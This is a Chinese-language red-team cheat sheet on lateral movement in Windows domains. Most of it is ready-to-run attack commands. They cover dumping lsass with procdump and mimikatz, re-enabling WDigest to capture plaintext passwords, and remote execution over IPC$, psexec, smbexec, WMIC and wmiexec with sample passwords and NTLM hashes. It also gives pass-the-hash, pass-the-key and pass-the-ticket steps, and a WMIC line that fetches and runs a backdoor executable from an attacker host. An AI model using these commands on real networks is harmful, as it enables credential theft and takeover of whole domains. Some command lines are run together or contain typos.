红队笔记-横向移动总结
域内横向移动总结
在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。
前置知识点1:
LM Hash和NTLM Hash:
windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。
LM Hash其本质是使用DES加密,从windows vista和windows server2008开始 windows默认禁用LM Hash。如果LM Hash被禁用了,攻击者通过工具抓取LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"(表示LM Hash为空或被禁用)。
NTLM Hash是基于MD4加密算法进行加密的。从windows vista windows server2003以后均为NTLM Hash加密。
前置知识点2:
windows server2012以上默认关闭Wdigest,使攻击者无法从内存中抓取明文密码。
windows server2012以下版本,如果打了KB2871997,攻击者同样也无法获取明文密码。
针对这种情况可以尝试使用以下手法:
1.利用hash传递(PTH,PTT,PTK)传递攻击
2.利用windows服务(SMB-psexec&smbexec,WMI-cscript&wmiexec&wmic)
3.破解hash值利用hashcat等。
4.修改注册表开启Wdigest Auth的值,值为1时用户下次登录攻击者就能使用工具获取到明文密码。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启Wdigest 需要管理员权限执行
**
**
前置知识点3:
更新KB2871997补丁产生的影响,KB2871997禁止通过本地管理员权限与远程计算机进行连接,其后果无法通过本地管理员权限对远程计算机使用PsExec,WMI,at,也无法访问远程主机的文件共享等。
更新KB2871997后,无法从内存中获取明文密码,也无法使用常规的PTH方法进行横向移动,但是只要SID为500的值的账号就能进行横向移动,不会受到KB2871997的影响。
获取SID的值:
wmic useraccount get name,sid
前置知识点4:
单机密码抓取,使用procdump在线导出lsass.dmp文件,再用mimikat离线z导出lsass.dump文件中的密码散列值。procdump是微软官方发布的工具,杀软并不会拦截。
1:使用procdump将lsass.exe 导出
procdump.exe -accepteula -ma lsass.exe lsass.dmp
2:使用mimikatz导出lsass.dmp文件中的密码散列值
sekurlsa::minidump lsass.DMP
出现Switch to MINIDUMP : 'lsass.DMP'表示加载成功
sekurlsa::logonPasswords full 导出密码散列值
***前置知识点5:*
在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH的方法,将散列值或明文密码传递到目标主机进行验证,与目标主机建立连接后,可以使用相关的方法,在远程windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络环境较差,无法使用图形化界面远程连接主机。此时最好选择命令行的方式进行执行。而在实际网络环境中,针对此类情况,网络管理员可以通过配置windows防火墙或增加组策略进行防御。
下面介绍横向移动中最常用的命令 IPC
ipc共享"命名管道符"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在使用远程查看计算机共享资源时使用的。
通过ipc不仅可以查看文件 还能执行上传下载功能。
**ipc利用条件:
**
1:开启139 445端口 ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139 445端口,可以实现对文件共享/打印机的访问。
2:管理员开启默认共享 默认共享是为了方便管理员远程管理而默认开启的,包括所有的逻辑盘和系统目录。可通过ipc进行连接。
建立IPC连接命令:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator
0x001横向移动常见工具使用:
- SMB横向-psexec&smbexec
****SMB渗透至Hash传递攻击原理:SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础。利用条件:445端口开放
使用psexec:psexec是windows提供的工具,所以杀毒软件将其列在白名单中,,通过psexec可以将管理员权限提升至system权限以运行指定程序。psexec基本原理是:通过管道在远程计算机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSESESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。首先需要获取目标操作系统的交互式shell。在建立ipc$的情况下,执行如下命令。获取system权限的shell。
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator先建立ipc连接psexec \\192.168.90.30 -s cmd
net use \\192.168.90.30\ipc$ "Whoami2021" IR/user:administrator#建立了ipc连接psexec \\192.168.90.30 -s cmd #-s参数为以system权限运行
在无法获取到明文密码时使用NTLM Hash进行PTH攻击
psexec -hashes :$HASH$ ./administrator@192.168.90.30 #本地admin用户hash传递psexec -hashes :$HASH$ xxx.com/administrator@192.168.90.30 #域admin用户hash传递psexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.90.30 #hash传递需要第三方包impacket
-
使用smbexec:```#明文smbexec god/administrator:Admin12345@192.168.3.21 #域用户smbexec ./administrator:admin12345@192.168.3.32 #本地用户#hashsmbexec -hashes :$HASH$ ./administrator@192.168.3.21 #本地用户hash传递smbexec -hashes :$HASH$ xxx.com/admin@192.168.3.21 #域用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.3.32 #本地用户hash传递smbexec -hashes :518b98ad417a53695dc997aa02d455c ./administrator@192.168.3.32#域用户hash传递`
``WMI横向-wmic&cscript&wmiexec
windows系统都支持WMI,WMI是由一系列工具集成的,可以在本地或者远程管理计算机系统,主要通过135端口进行利用,支持明文或者Hash的方式进行认证,该手法并不会在操作系统中留下日志,推荐使用该方法进行内网的横向移动。利用条件:目标机开启135端口,注意目标主机是否打过KB2871997,参考前置知识点3 -
WMIC使用执行命令:
wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c ipconfig >C:\ip.txt"
我们已经使用目标系统cmd.exe执行了一条命令ipconfig,保存在c盘下的ip.txt中。
如果不是管理员账户administrator或者sid值为500可能会报下面的错
我们先建立ipc连接后可使用type命令读取结果执行命令:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator 建立ipc连接type \\192.168.93.30\C$\ip.txt
以上介绍了WMI的基本命令,然后我们来尝试WMIC上线CS目标主机下载后门文件:
wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.43.199/artifact.exe C:/artifact.exe"
执行上线wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe c:/artifact.exe"
-
cscript使用****(Windows内置工具,可生成一个交互式shell)执行命令:
cscript //nologo vmiexec.vbs /shell 192.168.1.1 administrator 1234.a 上传vmiexec.vbs 到目标主机 返回一个交互式shell
-
wmiexec(可以进行hash传递)****明文连接
wmiexec ./administrator:Whoami2021@192.168.93.30 "whoami" 明文连接
**
**hash连接
wmiexec -hashes :ab89b1295e69d353dd7614c7a3a80cec./administrator@192.168.93.30 "whoami" hash连接
以上就是内网中常见横向移动的工具,下面介绍常见横向移动手法。
0x002哈希传递攻击(PTH):
在内网横向移动时常用的就是PTH攻击了,该方法通过寻找到与账户相关的密码散列值(通常是NTLM Hash)进行攻击
使用mimikatz对NTLM Hash进行hash传递
privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
此时会弹出一个cmd.exe
可以尝试在弹出来的cmd中建立ipc连接
使用ipc上传后门文件
0x003密钥传递攻击(PTK):
主要使用AES-256密钥进行哈希传递在内网渗透中经常抓取不到明文密码,如果目标主机安装KB2871997那么就可以使用PTK进行横向移动。前提是目标系统必须安装KB2871991,但是注意因为目标主机打过KB2871997所以必须使用SID值为500的账户进行横向 参考前置知识点3
使用mimikatz抓取AES-256密钥,命令如下
privilege::debugsekurlsa::ekeys
在远程目标主机中执行
sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278faddir \\dc\c$ 注意dir后跟的是主机名,不是ip
0x003票据传递攻击(PTT):
PTT主要是利用票据凭证TGT进行横向渗透测试(Kerberos认证攻击),想要使用mimikatz的hash传递功能,必须要有本地管理员权限,mimikatz同样提供了不需要本地管理员权限进行横向移动的方法,例如PTT,接下来介绍PTT攻击的思路。
1.使用mimikatz,可以将内存中的票据导出。命令如下
privilege::debugsekurlsa::tickets /export
执行上面命令后,会在当前目录下出现多个服务的票据文件。
将票据文件注入到内存中。命令如下
kerberos::ptt "C:\Users\bunny\Desktop\mimikatz\[0;23104e]-2-1-40e10000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi"
列出文件目录
2.使用keokeo进行票据传递kekeo需要使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接到计算机。在目标主机输入以下命令,运行kekeo,在当前目录下生成一个票据文件
tgt::ask /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
在kekeo中清除当前内存中其他票据,否则可能会导致票据传递失败
kerberos::ptt TGT_administrator@WHOAMIANONY.org@WHOAMIANONY.ORG.kirbi
此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令了,具体操作同上,不再演示。